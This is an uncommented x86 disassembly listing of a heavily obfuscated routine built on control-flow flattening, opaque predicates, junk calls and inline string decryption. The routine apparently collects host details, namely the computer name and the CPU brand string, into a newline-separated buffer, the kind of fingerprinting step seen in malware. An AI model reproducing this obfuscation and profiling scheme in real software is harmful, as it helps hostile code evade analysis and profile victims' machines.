jmp 0x43cd9c
imul eax, dword [esi + 8], 0xbf
mov ecx, 0xbf
add eax, ecx
shr eax, 0xf
add eax, eax
add eax, 0x15a
mov dword [esi + 8], eax
push eax
call fcn.0043cd84
add esp, 4
mov dword [esi + 4], 0x91b2dfcd
jmp 0x43cd9c
mov eax, dword [esi + 0x1c]
mov eax, dword [eax + 8]
mov dword [esi + 0x164], eax
mov eax, dword [esi + 0x1c]
mov eax, dword [eax + 4]
mov dword [esi + 0x168], eax
mov dword [esi + 4], 0x5a9da1ac
jmp 0x43cd9c
mov eax, dword [esi + 8]
shr eax, 0xe
imul eax, eax, 0x2a2b0
add eax, 0xfffffbfa
mov dword [esi + 8], eax
push 0xe98
push 0x4133
push eax
call fcn.0042a59a
add esp, 0xc
mov dword [esi + 4], 0x4dece08a
jmp 0x43cd9c
mov eax, dword [esi + 0x20]
add eax, 0x24
push eax
push dword [esi + 0x10]
call fcn.0045b990
add esp, 8
push dword [esi + 0x10]
call fcn.0045bb70
add esp, 4
mov dword [esi + 0x1d0], eax
mov dword [esi + 4], 0xfb2a3d08
jmp 0x43cd9c
mov eax, dword [esi + 0xc]
shr eax, 3
mov ecx, eax
imul ecx, eax
shl eax, 9
imul edx, ecx, 0x6a95
or eax, 0x2a
dec edx
mov dword [esi + 0xc], eax
mov eax, 0x79ae4a35
cmp edx, ecx
je 0x43f86b
mov eax, 0xc70cd5c9
mov dword [esi + 4], eax
jmp 0x43cd9c
mov ecx, dword [esi + 0xc]
shr ecx, 6
imul eax, ecx, 0xcc33
imul eax, eax
imul edx, eax, 0x373b
dec edx
imul ecx, ecx, 0x2d775b
add ecx, 0xffffe665
mov dword [esi + 0xc], ecx
mov ecx, 0x8ce88bb7
cmp edx, eax
je 0x43f8a6
mov ecx, 0x577d64e4
mov dword [esi + 4], ecx
jmp 0x43cd9c
mov eax, dword [esi + 8]
shl eax, 0xb
add eax, 0xfffffff8
mov dword [esi + 8], eax
call fcn.00407817
mov dword [esi + 4], 0xd62d79db
jmp 0x43cd9c
mov eax, dword [esi + 0x44]
mov ecx, dword [esi + 0xa0]
mov dl, byte [ecx + 8]
mov byte [eax + 8], dl
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
push dword [esi + 0x44]
push dword [esi + 0x10]
call fcn.0045b990
add esp, 8
call fcn.004299d2
mov dword [esi + 0x17c], eax
mov dword [esi + 4], 0xa3760a82
jmp 0x43cd9c
mov eax, dword [esi + 0x40]
mov eax, dword [esi + 0x1c]
mov eax, dword [esi + 0x3c]
mov eax, dword [esi + 0x38]
mov dword [esi + 4], 0xa2f2666c
jmp 0x43cd9c
mov eax, dword [esi + 0x20]
add eax, 4
push 0x1a4
push 0
push eax
call fcn.0044b390
add esp, 0xc
mov eax, dword [esi + 0x20]
mov dword [eax], 0x1a8
mov dword [esi + 4], 0x1f096957
jmp 0x43cd9c
mov eax, dword [esi + 0x98]
mov byte [eax + 0xd], 0
mov dword [esi + 4], 0xc99362eb
jmp 0x43cd9c
mov eax, dword [esi + 0x84]
mov word [eax + 0x18], 0
push 0x18
push 0x471f10
push dword [esi + 0x84]
call fcn.0044a890
add esp, 0xc
mov dword [esi + 4], 0xa0be244
jmp 0x43cd9c
imul eax, dword [esi + 0xc], 0x7500
shr eax, 0xa
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x84e89f42
jmp 0x43cd9c
push 1
push 0x8000
call fcn.0045a6a3
add esp, 8
mov dword [esi + 0xf0], eax
mov dword [esi + 4], 0x79c5bcd5
jmp 0x43cd9c
push eax
sub esp, 0x14
mov eax, esp
mov dword [esi + 0x94], eax
mov dword [esi + 4], 0x82f9eba8
jmp 0x43cd9c
mov eax, dword [esi + 0xc4]
mov eax, dword [esi + 0xb8]
mov eax, dword [esi + 0xbc]
mov eax, dword [esi + 0xc0]
mov dword [esi + 0x1ac], eax
mov eax, dword [esi + 0xb8]
mov eax, dword [esi + 0xbc]
mov eax, dword [esi + 0xc0]
mov eax, dword [esi + 0xc4]
mov dword [esi + 0x1b0], eax
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x1a4]
mov dword [eax + 0x10], ecx
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x1a8]
mov dword [eax + 0x14], ecx
mov eax, dword [esi + 0x14]
add eax, 0x18
mov dword [esi + 0x1b4], eax
mov dword [esi + 4], 0xd4b796f7
jmp 0x43cd9c
mov ebx, dword [esi + 8]
mov eax, ebx
shr eax, 0x16
mov dword [esi + 8], eax
push 0x1a54
push 0x2911
push eax
push 0x1156
call fcn.00440ce0
add esp, 0x10
mov eax, 0xabf6196f
cmp ebx, 0x1bc00000
jae 0x43fa82
mov eax, 0x4b427871
mov dword [esi + 4], eax
jmp 0x43cd9c
mov ebx, dword [esi + 8]
shl ebx, 0x17
add ebx, 0xffffa300
shr ebx, 0xb
mov dword [esi + 8], ebx
push ebx
call fcn.0043cd84
add esp, 4
push 0x589b
push 0x1122
push 0x427b
push ebx
call fcn.00440e20
add esp, 0x10
mov dword [esi + 4], 0xf4563577
jmp 0x43cd9c
push dword [esi + 0x17c]
push dword [esi + 0x10]
call fcn.0045b990
add esp, 8
push dword [esi + 0x10]
call fcn.0045bb70
add esp, 4
mov dword [esi + 0x180], eax
mov dword [esi + 4], 0x485de71b
jmp 0x43cd9c
mov eax, dword [esi + 0xc]
add eax, 0xffffffe0
shr eax, 2
and eax, 0xffffffe0
imul eax, eax, 0x23400000
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xd339d5fe
jmp 0x43cd9c
imul ecx, dword [esi + 8], 0x1a280
add ecx, 0xa3
mov eax, ecx
shr eax, 4
mov dword [esi + 8], eax
mov eax, 0x2edb9700
cmp ecx, 0xee0
jae 0x43fb3f
mov eax, 0xaf3d650a
mov dword [esi + 4], eax
jmp 0x43cd9c
imul ebx, dword [esi + 8], 0x688
add ebx, 0xffffff43
mov dword [esi + 8], ebx
push ebx
push 0x518d
push 0x3804
push 0x28bd
call fcn.00440e20
add esp, 0x10
push 0x5d97
push 0xc47
push ebx
push 0x4603
call fcn.00440ce0
add esp, 0x10
mov eax, 0xbaeb7a37
cmp ebx, 0x91
jge 0x43fb99
mov eax, 0xedc0f362
mov dword [esi + 4], eax
jmp 0x43cd9c
mov eax, dword [esi + 0xc]
add eax, 0x18
mov ecx, eax
shr ecx, 6
and eax, 0xffffffc0
imul ecx, ecx
imul edx, ecx, 0x421d
dec edx
add eax, 0x126
mov dword [esi + 0xc], eax
mov eax, 0x74fd6f1f
cmp ecx, edx
je 0x43fbcf
mov eax, 0x5ca5926
mov dword [esi + 4], eax
jmp 0x43cd9c
mov eax, dword [esi + 0x70]
mov cl, byte [0x47e48a]
mov byte [eax + 0xa], cl
movzx ecx, word [0x47e488]
mov word [eax + 8], cx
mov ecx, dword [0x47e484]
mov dword [eax + 4], ecx
mov ecx, dword [0x47e480]
mov dword [eax], ecx
mov dword [esi + 4], 0xb296c61
jmp 0x43cd9c
imul ebx, dword [esi + 8], 0x1cca
mov dword [esi + 8], ebx
push ebx
push 0x55a0
push 0x4c91
call fcn.0042a59a
add esp, 0xc
push ebx
push 0x2aa
push 0x73a
push 0x352f
call fcn.00440ce0
add esp, 0x10
mov eax, 0xc443767f
cmp ebx, 0x46
jge 0x43fc4f
mov eax, 0x2840e0fc
mov dword [esi + 4], eax
jmp 0x43cd9c
mov eax, dword [esi + 8]
lea edi, [eax*4 - 0xf6]
mov dword [esi + 8], edi
push edi
push 0x9bb
push 0x2470
call fcn.0042a59a
add esp, 0xc
mov eax, 0xc5f299bf
cmp edi, 0xa9
jae 0x43fc89
mov eax, 0xc4aa367c
mov dword [esi + 4], eax
jmp 0x43cd9c
push eax
push eax
mov eax, esp
and eax, 0xfffffff8
mov esp, eax
mov dword [esi + 0x24], eax
mov dword [esi + 4], 0xc5f299bf
jmp 0x43cd9c
mov eax, dword [esi + 0x188]
mov edi, 0x55
push edi
push dword [esi + 0xfc]
call eax
push 1
push edi
call fcn.0045a6a3
add esp, 8
mov dword [esi + 0x100], eax
push edi
push dword [esi + 0xfc]
push dword [esi + 0x100]
call fcn.0045ca3f
add esp, 0xc
mov eax, dword [esi + 0x4c]
sub esp, 0x10
mov eax, esp
mov dword [esi + 0xa4], eax
mov eax, dword [esi + 0xa4]
add eax, 0xc
mov dword [esi + 0x18c], eax
mov dword [esi + 4], 0xab2fa7c8
jmp 0x43cd9c
mov eax, dword [esi + 0x160]
mov eax, dword [eax*4 + 0x47e430]
mov dword [esi + 0x170], eax
mov dword [esi + 4], 0x909d14cd
jmp 0x43cd9c
mov dword [esi + 4], 0x74fd6f1f
jmp 0x43cd9c
mov eax, dword [esi + 8]
shl eax, 3
and eax, 0xfffff8
mov ebx, eax
shl ebx, 5
sub ebx, eax
sub ebx, eax
add ebx, 0xffffed40
mov dword [esi + 8], ebx
push 0x1498
push 0x1cd4
push ebx
push 0x1462
call fcn.00440e20
add esp, 0x10
mov eax, 0xa01a0d47
cmp ebx, 0x4a
jae 0x43fd7b
mov eax, 0xb5c9ae72
mov dword [esi + 4], eax
jmp 0x43cd9c
mov ebx, dword [esi + 8]
shr ebx, 5
and ebx, 0x3fff
lea eax, [ebx + 0x56]
mov dword [esi + 8], eax
push eax
call fcn.0043cd84
add esp, 4
call fcn.00407817
mov eax, 0x547269cd
cmp ebx, 0x63
jb 0x43fdb2
mov eax, 0xb296c61
mov dword [esi + 4], eax
jmp 0x43cd9c
imul eax, dword [esi + 0xc], 0x31000
add eax, 0x23000
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xc8d4dac3
jmp 0x43cd9c
mov dword [esi + 4], 0xdd1c1f7
jmp 0x43cd9c
mov dword [esi + 0x18], 0x100
lea eax, [esi + 0x18]
push eax
push dword [esi + 0x38]
push 4
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov dword [esi + 4], 0x73bde01b
jmp 0x43cd9c
mov dword [esi + 4], 0x435a0da4
jmp 0x43cd9c
mov eax, dword [esi + 0x108]
mov ebx, dword [esi + 0x10c]
shld ebx, eax, 0x16
push 1
mov edi, 0xa
push edi
call fcn.0045a6a3
add esp, 8
mov dword [esi + 0x104], eax
push edi
push dword [esi + 0x104]
push ebx
call fcn.00458cf8
add esp, 0xc
mov eax, dword [esi + 0x58]
sub esp, 0x20
mov eax, esp
mov dword [esi + 0xe0], eax
mov dword [esi + 4], 0xa7071fc1
jmp 0x43cd9c
imul eax, dword [esi + 0xc], 0xc7
lea ecx, [eax*4 + 0x5d48]
add eax, 0x1752
lea ecx, [ecx + ecx*4]
imul eax, eax
imul edx, eax, 0xadd
dec edx
shr ecx, 0xb
and ecx, 0xffffffc0
mov dword [esi + 0xc], ecx
mov ecx, 0x61ea1718
cmp edx, eax
je 0x43fe96
mov ecx, 0x7e3d8bd7
mov dword [esi + 4], ecx
jmp 0x43cd9c
mov ecx, dword [esi + 0xc]
mov eax, ecx
shl eax, 8
sub eax, ecx
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x4271
add eax, 0xffffff8d
dec edx
mov dword [esi + 0xc], eax
mov eax, 0x3929d46b
cmp edx, ecx
je 0x43fec8
mov eax, 0x4b79651c
mov dword [esi + 4], eax
jmp 0x43cd9c
mov eax, dword [esi + 8]
shl eax, 6
and eax, 0x1ffff000
imul ebx, eax, 0x67
add ebx, 0xfffff9f7
mov dword [esi + 8], ebx
push 0x1fe4
push ebx
push 0x3ede
call fcn.0042a59a
add esp, 0xc
push 0x4edd
push 0x51a1
push 0x5171
push ebx
call fcn.00440ce0
add esp, 0x10
mov eax, 0xb9650f70
cmp ebx, 0x75
jge 0x43ff21
mov eax, 0x6bbfb69a
mov dword [esi + 4], eax
jmp 0x43cd9c
mov eax, dword [esi + 0xb4]
mov eax, dword [esi + 0xa8]
mov eax, dword [esi + 0xac]
mov eax, dword [esi + 0xb0]
mov dword [esi + 0x198], eax
mov eax, dword [esi + 0xa8]
mov eax, dword [esi + 0xac]
mov eax, dword [esi + 0xb0]
mov eax, dword [esi + 0xb4]
mov dword [esi + 0x19c], eax
mov dword [esi + 4], 0x7e1918fa
jmp 0x43cd9c
mov eax, dword [esi + 8]
add eax, 0xffffff83
shr eax, 0xa
imul ecx, eax, 0x2c
mov eax, ecx
shr eax, 5
mov dword [esi + 8], eax
mov eax, 0xff67e51d
cmp ecx, 0x14a0
jae 0x43ff97
mov eax, 0x435a0da4
mov dword [esi + 4], eax
jmp 0x43cd9c
mov eax, dword [esi + 0x88]
mov byte [eax + 8], 0
mov dword [esi + 4], 0xb9650f70
jmp 0x43cd9c
imul eax, dword [esi + 8], 0x7580000
add eax, 0x74676b50
mov dword [esi + 8], eax
push eax
call fcn.0043cd84
add esp, 4
mov dword [esi + 4], 0x79ae4a35
jmp 0x43cd9c
imul edi, dword [esi + 8], 0x2a230
add edi, 0xd80
mov dword [esi + 8], edi
call fcn.00407817
mov eax, 0x578adb76
cmp edi, 0xa1
jge 0x440000
mov eax, 0xe9975444
mov dword [esi + 4], eax
jmp 0x43cd9c
mov eax, dword [esi + 0x8c]
mov byte [eax + 0xd], 0
mov eax, dword [esi + 0x8c]
mov cl, byte [0x47e4dd]
mov byte [eax + 0xc], cl
mov ecx, dword [0x47e4d9]
mov dword [eax + 8], ecx
mov ecx, dword [0x47e4d5]
mov dword [eax + 4], ecx
mov ecx, dword [0x47e4d1]
mov dword [eax], ecx
push 6
push 0x47e4de
push 0xd
push dword [esi + 0x8c]
call fcn.00440e20
add esp, 0x10
mov eax, dword [esi + 0x2c]
mov ecx, dword [esi + 0x8c]
movzx edx, word [ecx + 0xc]
mov word [eax + 0xc], dx
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
mov dword [esi + 4], 0xd90fc93a
jmp 0x43cd9c
mov eax, dword [esi + 0x1ac]
mov ecx, dword [esi + 0x1b4]
mov dword [ecx], eax
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x1b0]
mov dword [eax + 0x1c], ecx
mov eax, 0x80000004
xor ecx, ecx
cpuid
mov dword [esi + 0xc8], eax
mov dword [esi + 0xcc], ebx
mov dword [esi + 0xd0], ecx
mov dword [esi + 0xd4], edx
mov dword [esi + 4], 0xa6bac59b
jmp 0x43cd9c
mov eax, dword [esi + 0xc]
shr eax, 0x18
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x70e3
dec edx
add eax, 0xf6
mov dword [esi + 0xc], eax
mov eax, 0x1ace8a92
cmp ecx, edx
je 0x4400ee
mov eax, 0x8fe8d881
mov dword [esi + 4], eax
jmp 0x43cd9c
mov eax, dword [esi + 0xc]
shr eax, 1
imul ecx, eax, 0x26
imul eax, eax
shr ecx, 4
imul edx, eax, 0xafb
dec edx
mov dword [esi + 0xc], ecx
mov ecx, 0x16fc7477
cmp eax, edx
je 0x44011c
mov ecx, 0x5101437e
mov dword [esi + 4], ecx
jmp 0x43cd9c
push 0x1e
push dword [esi + 0xe0]
push dword [esi + 0x58]
call fcn.0044a890
add esp, 0xc
push dword [esi + 0x58]
push dword [esi + 0x10]
call fcn.0045b990
add esp, 8
push dword [esi + 0x104]
push dword [esi + 0x10]
call fcn.0045b990
add esp, 8
mov eax, dword [esi + 0x5c]
mov eax, dword [esi + 0x5c]
mov dword [eax], 0xa424d
push dword [esi + 0x5c]
push dword [esi + 0x10]
call fcn.0045b990
add esp, 8
mov eax, dword [esi + 0x60]
sub esp, 0x18
mov eax, esp
mov dword [esi + 0xe4], eax
mov dword [esi + 4], 0x8a26991
jmp 0x43cd9c
push eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x90], eax
mov eax, dword [esi + 0x90]
mov byte [eax + 0x1b], 0
mov edi, 0x1b
push edi
push 0x47e4f0
push dword [esi + 0x90]
call fcn.0044a890
add esp, 0xc
push 7
push 0x47e50b
push edi
push dword [esi + 0x90]
call fcn.00440e20
add esp, 0x10
mov dword [esi + 4], 0xb1fcd5fe
jmp 0x43cd9c
mov eax, dword [esi + 0xc]
add eax, eax
add eax, 0xfffffe02
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x85bf4554
jmp 0x43cd9c
mov eax, dword [esi + 0xa0]
add eax, 8
mov dword [esi + 0x178], eax
mov dword [esi + 4], 0xca312a6
jmp 0x43cd9c
mov eax, dword [esi + 0x88]
mov ecx, dword [0x47e4b7]
mov dword [eax + 4], ecx
mov ecx, dword [0x47e4b3]
mov dword [eax], ecx
push 6
push 0x47e4bb
push 8
push dword [esi + 0x88]
call fcn.00440e20
add esp, 0x10
mov eax, dword [esi + 0x88]
mov ecx, dword [eax]
mov edx, dword [eax + 4]
mov dword [esi + 0x1d8], ecx
mov dword [esi + 0x1dc], edx
mov al, byte [eax + 8]
mov byte [esi + 0x1e0], al
lea eax, [esi + 0x1d8]
push eax
push dword [esi + 0x10]
call fcn.0045b990
add esp, 8
push dword [esi + 0xf4]
push dword [esi + 0x10]
call fcn.0045b990
add esp, 8
push dword [esi + 0x10]
call fcn.0045bb70
add esp, 4
mov ecx, dword [esi + 0x10]
mov word [ecx + eax], 0xa
mov dword [esi + 4], 0x231b4d6
jmp 0x43cd9c
mov dword [esi + 4], 0x8bc94a5
jmp 0x43cd9c
mov eax, dword [esi + 0xc]
shr eax, 0xa
mov ecx, eax
shl ecx, 0xc
imul eax, eax
imul edx, eax, 0x56ad
dec edx
mov dword [esi + 0xc], ecx
mov ecx, 0x6299c876
cmp eax, edx
je 0x4402d2
mov ecx, 0x1557802
mov dword [esi + 4], ecx
jmp 0x43cd9c
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x8c], eax
mov dword [esi + 4], 0x77dd275b
jmp 0x43cd9c
mov eax, dword [esi + 8]
lea ecx, [eax + eax*8]
lea eax, [eax + ecx*4]
add eax, 0x8d1
shr eax, 1
and eax, 0x7ffff000
imul ecx, eax, 0xd8
mov dword [esi + 8], ecx
mov eax, 0xd39e5d44
test ecx, ecx
je 0x44031e
mov eax, 0x6403a008
mov dword [esi + 4], eax
jmp 0x43cd9c
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x2c], eax
sub esp, 0x100
mov eax, esp
mov dword [esi + 0x30], eax
mov dword [esi + 4], 0xe544d742
jmp 0x43cd9c
mov eax, dword [esi + 0x50]
mov ecx, dword [esi + 0xd8]
mov dl, byte [ecx + 0xc]
mov byte [eax + 0xc], dl
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
push dword [esi + 0x50]
push dword [esi + 0x10]
call fcn.0045b990
add esp, 8
push dword [esi + 0x14]
push dword [esi + 0x10]
call fcn.0045b990
add esp, 8
push dword [esi + 0x10]
call fcn.0045bb70
add esp, 4
mov dword [esi + 0x1cc], eax
mov dword [esi + 4], 0xed86323f
jmp 0x43cd9c
mov dword [esi + 8], 0x60000015
mov dword [esi + 4], 0x5f687d33
jmp 0x43cd9c
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x9c], eax
mov eax, dword [esi + 0x9c]
add eax, 0xe
mov dword [esi + 0x174], eax
mov dword [esi + 4], 0x463a114b
jmp 0x43cd9c
push eax
sub esp, 0x1c
mov eax, esp
mov dword [esi + 0x58], eax
push eax
mov eax, esp
mov dword [esi + 0x5c], eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x60], eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x64], eax
mov dword [esi + 4], 0x5ead8a11
jmp 0x43cd9c
mov eax, dword [esi + 0xc]
shr eax, 4
imul ecx, eax, 0xf3
imul eax, eax
imul edx, eax, 0x3fc7
dec edx
add ecx, 0x2a
mov dword [esi + 0xc], ecx
mov ecx, 0x81649d46
cmp edx, eax
je 0x44042d
mov ecx, 0xc1cecfe1
mov dword [esi + 4], ecx
jmp 0x43cd9c
mov eax, dword [esi + 0xc]
add eax, 0xffffffe6
shr eax, 1
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x84f1
dec edx
add eax, 0xffffff9c
mov dword [esi + 0xc], eax
mov eax, 0x2fbbcc4a
cmp edx, ecx
je 0x44045d
mov eax, 0xaa3433c0
mov dword [esi + 4], eax
jmp 0x43cd9c
mov dword [esi + 4], 0x50649b06
jmp 0x43cd9c
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x1cc]
mov word [eax + ecx], 0xa
mov dword [esi + 4], 0x68b1d8d0
jmp 0x43cd9c
mov ebx, dword [esi + 8]
add ebx, 0x64
shr ebx, 0xd
mov dword [esi + 8], ebx
push 0x33d0
push 0x3a0a
push 0x1996
push ebx
call fcn.00440e20
add esp, 0x10
push 0x963
push 0x46ea
push ebx
push 0x436a
call fcn.00440ce0
add esp, 0x10
mov eax, 0xa140a1ab
cmp ebx, 0xc6
je 0x4404da
mov eax, 0x1347eb9c
mov dword [esi + 4], eax
jmp 0x43cd9c
push eax
sub esp, 8
mov eax, esp
mov dword [esi + 0xa0], eax
mov dword [esi + 4], 0x2840e0fc
jmp 0x43cd9c
mov dword [esi + 4], 0xf2c135a5
jmp 0x43cd9c
imul ecx, dword [esi + 8], 0x7c0
add ecx, 0xffffe980
shr ecx, 8
add ecx, 0xffffffe0
mov dword [esi + 8], ecx
mov eax, 0x5101437e
cmp ecx, 0x3b
jae 0x44052b
mov eax, 0x9cc5e09c
mov dword [esi + 4], eax
jmp 0x43cd9c
push eax
sub esp, 8
mov ebx, esp
mov byte [ebx + 0xa], 0
movzx eax, word [0x47e4c9]
mov word [ebx + 8], ax
mov eax, dword [0x47e4c5]
mov dword [ebx + 4], eax
mov eax, dword [0x47e4c1]
mov dword [ebx], eax
push 6
push 0x47e4cb
push 0xa
push ebx
call fcn.00440e20
add esp, 0x10
mov eax, dword [ebx + 7]
mov dword [esi + 0x1f3], eax
mov eax, dword [ebx]
mov ecx, dword [ebx + 4]
mov dword [esi + 0x1f0], ecx
mov dword [esi + 0x1ec], eax
lea eax, [esi + 0x1ec]
push eax
push dword [esi + 0x10]
call fcn.0045b990
add esp, 8
lea eax, [esi + 0x1f8]
push eax
push dword [esi + 0x10]
call fcn.0045b990
add esp, 8
mov dword [esi + 4], 0x48f18c92
jmp 0x43cd9c
mov eax, dword [esi + 0xc]
shr eax, 0xc
imul ecx, eax, 0xe1
imul eax, eax
imul edx, eax, 0x132b
dec edx
shr ecx, 1
mov dword [esi + 0xc], ecx
mov ecx, 0xed0da876
cmp edx, eax
je 0x4405dc
mov ecx, 0xff67e51d
mov dword [esi + 4], ecx
jmp 0x43cd9c
imul ebx, dword [esi + 8], 0x52
add ebx, 0x5534
mov dword [esi + 8], ebx
push 0x4712
push 0x1b83
push ebx
push 0x1f3b
call fcn.00440ce0
add esp, 0x10
mov eax, 0xb296c61
cmp ebx, 0x3f
jl 0x440618
mov eax, 0xd4b78af1
mov dword [esi + 4], eax
jmp 0x43cd9c
mov eax, dword [esi + 8]
shr eax, 1
and eax, 0x1ffffff
imul ebx, eax, 0x6b8
add ebx, 0x2fdf0
mov dword [esi + 8], ebx
push 0x5bac
push 0xd2e
push ebx
push 0x39b4
call fcn.00440e20
add esp, 0x10
call fcn.00407817
mov eax, 0x6bbfb69a
cmp ebx, 0x7f
jb 0x440665
mov eax, 0xc4aa367c
mov dword [esi + 4], eax
jmp 0x43cd9c
lea eax, [esi + 0x18]
push eax
push dword [esi + 0x28]
push 4
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov eax, dword [esi + 0x2c]
mov dword [esi + 4], 0xa7055612
jmp 0x43cd9c
imul eax, dword [esi + 0xc], 0x2480000
or eax, 0x2480
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xf5a6595a
jmp 0x43cd9c
imul edi, dword [esi + 8], 0xac
add edi, 0x1a34
mov dword [esi + 8], edi
push edi
call fcn.0043cd84
add esp, 4
mov eax, 0x578adb76
cmp edi, 0x13
jb 0x4406ce
mov eax, 0x56641982
mov dword [esi + 4], eax
jmp 0x43cd9c
imul eax, dword [esi + 0xc], 0x1f00
add eax, 0xffe25e40
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xf31e7dc1
jmp 0x43cd9c
mov eax, dword [esi + 0x1c]
mov eax, dword [eax]
mov dword [esi + 0x16c], eax
mov dword [esi + 4], 0x4a3c51f5
jmp 0x43cd9c
mov eax, dword [esi + 0x148]
lea ecx, [esi + 0x118]
push ecx
push dword [esi + 0xf0]
call eax
mov dword [esi + 4], 0xc74ee642
jmp 0x43cd9c
mov ebx, dword [esi + 8]
add ebx, ebx
and ebx, 0xffffc000
mov dword [esi + 8], ebx
call fcn.00407817
push 0x5d5d
push ebx
push 0x3b00
push 0x39a7
call fcn.00440ce0
add esp, 0x10
mov eax, 0x1557802
cmp ebx, 0xd4
jl 0x440766
mov eax, 0xe9f6d0e6
mov dword [esi + 4], eax
jmp 0x43cd9c
mov eax, dword [esi + 0x44]
mov dword [esi + 4], 0x876f42a3
jmp 0x43cd9c
mov dword [esi + 4], 0xc4aa367c
jmp 0x43cd9c
mov dword [esi + 4], 0x6bbfb69a
jmp 0x43cd9c
imul eax, dword [esi + 0xc], 0x6b8000
add eax, 0xfffff290
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xe9975444
jmp 0x43cd9c
mov ecx, dword [esi + 8]
mov eax, 0xffffff39
add ecx, eax
mov dword [esi + 8], ecx
mov eax, 0xa10ace44
cmp ecx, 0xbd
jl 0x4407cf
mov eax, 0x9ef395ad
mov dword [esi + 4], eax
jmp 0x43cd9c
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x190]
mov dword [eax], ecx
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x194]
mov dword [eax + 4], ecx
mov dword [esi + 4], 0x968383c5
jmp 0x43cd9c
mov eax, dword [esi + 0x13c]
mov ecx, dword [esi + 0x74]
mov edx, dword [ecx + 0xc]
mov dword [eax + 0xc], edx
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
push str.EEERHh__IB
push dword [esi + 0x10]
call fcn.0045b990
add esp, 8
mov dword [esi + 4], 0xc443767f
jmp 0x43cd9c
imul ebx, dword [esi + 8], 0x2ec000
add ebx, 0xffffd718
mov dword [esi + 8], ebx
push 0x628a
push ebx
push 0x35f6
call fcn.0042a59a
add esp, 0xc
push 0x359f
push 0x5a9e
push 0x4b99
push ebx
call fcn.00440ce0
add esp, 0x10
mov eax, 0x8ca2d796
cmp ebx, 0x7d
jl 0x44087f
mov eax, 0x34ea88bc
mov dword [esi + 4], eax
jmp 0x43cd9c
mov eax, dword [esi + 0x10]
add eax, dword [esi + 0x130]
mov dword [esi + 0x134], eax
push eax
sub esp, 8
mov eax, esp
mov dword [esi + 0x70], eax
mov eax, dword [esi + 0x70]
mov byte [eax + 0xb], 0
mov dword [esi + 4], 0xd0460e08
jmp 0x43cd9c
mov eax, dword [esi + 8]
lea ecx, [eax*8 + 0x193]
mov eax, ecx
shr eax, 2
mov dword [esi + 8], eax
mov eax, 0xd4b78af1
cmp ecx, 0x30
jae 0x4408d3
mov eax, 0x9d967b79
mov dword [esi + 4], eax
jmp 0x43cd9c
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x98], eax
mov dword [esi + 4], 0x181b1a3b
jmp 0x43cd9c
mov ebx, dword [esi + 8]
mov eax, 0x3fffffc
add ebx, eax
and ebx, 0x3ffffff
mov dword [esi + 8], ebx
push 0x345f
push ebx
push 0x5749
push 0x2831
call fcn.00440e20
add esp, 0x10
push ebx
call fcn.0043cd84
add esp, 4
mov eax, 0xd62d79db
cmp ebx, 0x25
jb 0x440936
mov eax, 0xb296c61
mov dword [esi + 4], eax
jmp 0x43cd9c
mov eax, dword [esi + 0x3c]
mov dword [esi + 4], 0x3c2d1d02
jmp 0x43cd9c
mov eax, dword [esi + 0x154]
mov word [eax], 0xa
mov eax, dword [esi + 0x38]
mov dword [esi + 4], 0x95d3505f
jmp 0x43cd9c
mov ecx, dword [esi + 8]
shr ecx, 9
lea eax, [ecx*8 - 0x338]
shl ecx, 3
mov dword [esi + 8], eax
mov eax, 0x79dcd6a1
cmp ecx, 0x3dc
jae 0x44098c
mov eax, 0x909d14cd
mov dword [esi + 4], eax
jmp 0x43cd9c
mov ecx, dword [esi + 8]
mov eax, 0xc1
add ecx, eax
mov eax, ecx
shr eax, 0x11
add eax, 0xffffffa0
mov dword [esi + 8], eax
mov eax, 0xc5f299bf
cmp ecx, 0x1340000
jb 0x4409bb
mov eax, 0x5b668583
mov dword [esi + 4], eax
jmp 0x43cd9c
imul eax, dword [esi + 8], 0x7b
shr eax, 8
imul edi, eax, 0xfd
add edi, 0xffffb31b
mov dword [esi + 8], edi
call fcn.00407817
mov eax, 0xca312a6
cmp edi, 0xec
jae 0x4409f0
mov eax, 0x909d14cd
mov dword [esi + 4], eax
jmp 0x43cd9c
push eax
push eax
mov eax, esp
mov dword [esi + 0x80], eax
mov eax, dword [esi + 0x80]
mov byte [eax + 6], 0
mov eax, dword [esi + 0x80]
movzx ecx, word [0x47e4ad]
mov word [eax + 4], cx
mov ecx, dword [0x47e4a9]
mov dword [eax], ecx
push 4
push 0x47e4af
push 6
push dword [esi + 0x80]
call fcn.00440e20
add esp, 0x10
mov dword [esi + 4], 0xb5a096ce
jmp 0x43cd9c
imul eax, dword [esi + 0xc], 0xb0
shr eax, 0xb
imul ecx, eax, 0x4e
imul eax, eax
imul edx, eax, 0x8145
dec edx
mov dword [esi + 0xc], ecx
mov ecx, 0xcd6b4b46
